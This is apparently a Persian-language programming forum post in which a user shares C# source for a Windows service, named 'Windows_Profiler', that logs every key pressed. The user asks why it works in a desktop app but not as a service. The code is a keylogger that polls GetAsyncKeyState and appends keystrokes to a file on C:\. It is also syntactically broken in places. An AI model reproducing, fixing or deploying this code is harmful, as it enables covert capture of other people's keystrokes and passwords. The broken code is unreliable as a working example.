سلام به همه اساتید گرامی
دوستان من یه ویندوز سرویس با سی شارپ ایجاد کرده ام و کد زیر رو توش میخام اجرا کنم کد زیر در واقع هر کلیدی که توسط کاربر فشرده میشه رو لاگ میکنه ، تو windows application این کارو که انجام دادم خیلی راحت انجام گرفت ولی تو ویندوز سرویس این کار انجام نمیشه ممنون میشم راهنمایی کنید
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Windows_Profiler
{
public partial class Service1 : ServiceBase
{
public Service1()
{
InitializeComponent();
}
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey);
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
StringBuilder keyBuffer
protected override void OnStart(string[] args)
{
ThreadStart ts = new ThreadStart(Start);
Thread td = new Thread(ts);
td.Start();
}
private void Start()
{
while (true)
{
foreach (System.Int32 i in Enum.GetValues(typeof(Keys))) //Iterate through each key to know whether it was pressed or not
{
if (GetAsyncKeyState(i) == -32767) //-32767(minimum value) indicates that key was pressed since we last called this function
{
string Text= Enum.GetName(typeof(Keys), i).ToString();
try
{
StreamWriter sw = new StreamWriter(@"C:\abc.txt", true);//I used true to append log to file
sw.Write(Text.ToString());
}
catch
{
}
}
}
}
}
}
}
این پست در تاریخ {{ dateString(new Date(post.deleteDate)) }} توسط {{ post.deletedByUser }} حذف شده است.
دلیل حذف: {{ post.deleteReason ?? 'نامشخص' }}
زمان پاسخ گویی روز های شنبه الی چهارشنبه ساعت 9 الی 18
فقط به موضوعات مربوط به محصولات آموزشی و فروش پاسخ داده می شود